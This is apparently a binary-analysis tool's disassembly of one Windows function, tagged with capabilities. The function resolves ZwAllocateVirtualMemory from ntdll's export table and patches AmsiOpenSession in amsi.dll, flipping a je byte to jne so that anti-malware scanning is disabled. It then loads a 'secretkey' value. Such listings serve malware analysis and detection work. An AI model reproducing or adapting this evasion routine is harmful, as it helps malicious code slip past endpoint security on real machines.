Function at 0x140004120
Capabilities:
Allocate or change rwx memory
Terminate process

Disassembly:
push rbp
push r14
lea rbp, [rsp - 0x18]
sub rsp, 0x118
mov rax, qword [0x14000e040]
xor rax, rsp
mov qword [rbp - 8], rax
lea rcx, [0x1400096c8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
jne 0x140004182
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_load_ntdll.dll.
call fcn.140005460
mov rcx, rax
lea rdx, [0x140005640]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x130], rbx
lea r8, [rbp - 0x80]
mov qword [rsp + 0x138], rsi
lea rcx, [0x1400096c8]
mov qword [rsp + 0x140], rdi
mov r9d, 1
mov qword [rsp + 0x100], r15
xor edx, edx
xor r15d, r15d
mov dword [rsp + 0x20], 1
mov dword [rbp - 0x1c], r15d
mov esi, r15d
call qword [sym.imp.imagehlp.dll_MapAndLoad]
test eax, eax
je 0x1400042bf
mov rcx, qword [rbp - 0x70]
lea r9, [rbp - 0x1c]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.imagehlp.dll_ImageDirectoryEntryToData]
mov rdi, rax
test rax, rax
je 0x1400042fa
mov r8d, dword [rax + 0x20]
xor r9d, r9d
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
mov qword [rsp + 0x110], r12
mov qword [rsp + 0x108], r13
call qword [sym.imp.imagehlp.dll_ImageRvaToVa]
mov r8d, dword [rdi + 0x1c]
xor r9d, r9d
mov rdx, qword [rbp - 0x70]
mov r15, rax
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.imagehlp.dll_ImageRvaToVa]
mov r8d, dword [rdi + 0x24]
xor r9d, r9d
mov rdx, qword [rbp - 0x70]
mov r12, rax
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.imagehlp.dll_ImageRvaToVa]
xor ebx, ebx
mov r13, rax
cmp dword [rdi + 0x14], ebx
jbe 0x1400042a2
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [r15 + rbx*4]
xor r9d, r9d
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.imagehlp.dll_ImageRvaToVa]
mov rcx, rax
lea rdx, str.ZwAllocateVirtualMemory
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140004295
mov eax, dword [rdi + 0x14]
inc rbx
cmp rbx, rax
jb 0x140004260
jmp 0x1400042a2
movzx eax, word [r13 + rbx*2]
mov esi, dword [r12 + rax*4]
add rsi, r14
lea rcx, [rbp - 0x80]
call qword [sym.imp.imagehlp.dll_UnMapAndLoad]
mov r13, qword [rsp + 0x108]
xor r15d, r15d
mov r12, qword [rsp + 0x110]
mov qword [0x14000fca8], rsi
test rsi, rsi
jne 0x14000430d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_get_ZwAllocateVirtualMemory_function_address.
call fcn.140005460
mov rcx, rax
lea rdx, [0x140005640]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp - 0x80]
call qword [sym.imp.imagehlp.dll_UnMapAndLoad]
mov qword [0x14000fca8], r15
jmp 0x1400042cb
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.amsi.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.AmsiOpenSession
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
test rax, rax
jne 0x140004347
lea rcx, str.Failed_to_get_address_n
jmp 0x14000444f
mov byte [rbp - 0x20], 0x75
mov ecx, r15d
mov dword [rbp - 0x1c], r15d
mov rax, r15
mov qword [rbp - 0x18], 0x1000
nop dword [rax]
cmp byte [rax + rdx], 0x74
je 0x140004384
inc ecx
inc rax
cmp rax, 0x400
jl 0x140004360
mov qword [rsp + 0x70], r15
lea rcx, str.____Failed_to_find_the_patch_location_n
jmp 0x14000444f
movsxd rax, ecx
add rax, rdx
mov qword [rsp + 0x70], rax
jne 0x14000439d
lea rcx, str.____Failed_to_find_the_patch_location_n
jmp 0x14000444f
lea rax, [rbp - 0x1c]
mov r9d, 0x40
lea r8, [rbp - 0x18]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x1400043d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtProtectVirtualMemory1___u__n
call fcn.140001010
jmp 0x140004454
mov rdx, qword [rsp + 0x70]
lea r8, [rbp - 0x20]
mov r9d, 1
mov qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
jns 0x14000440f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtWriteVirtualMemory___u__n
call fcn.140001010
jmp 0x140004454
mov r9d, dword [rbp - 0x1c]
lea rax, [rbp - 0x1c]
lea r8, [rbp - 0x18]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x140004448
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtProtectVirtualMemory2___u__n
call fcn.140001010
jmp 0x140004454
lea rcx, str._nDisabled._n_n
call fcn.140001010
movsd xmm0, qword [str.secretkey]
lea r8, [rbp - 0x18]
movdqa xmm1, xmmword [0x140009db0]
lea rdx, [rsp + 0x30]
movzx eax, word [0x140009988]
lea rcx, [rsp + 0x50]
movsd qword [rbp - 0x18], xmm0
movdqa xmm0, xmmword [0x140009dc0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rbp - 0x10], ax
movdqu xmmword [rsp + 0x40], xmm0
movdqu xmmword [rsp + 0x50], xmm1
movdqu xmmword [rsp + 0x30], xmm1
call fcn.140003b00
mov rdi, qword [rsp + 0x140]
xor eax, eax
mov rsi, qword [rsp + 0x138]
mov rbx, qword [rsp + 0x130]
mov r15, qword [rsp + 0x100]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140007000
add rsp, 0x118
pop r14
pop rbp
ret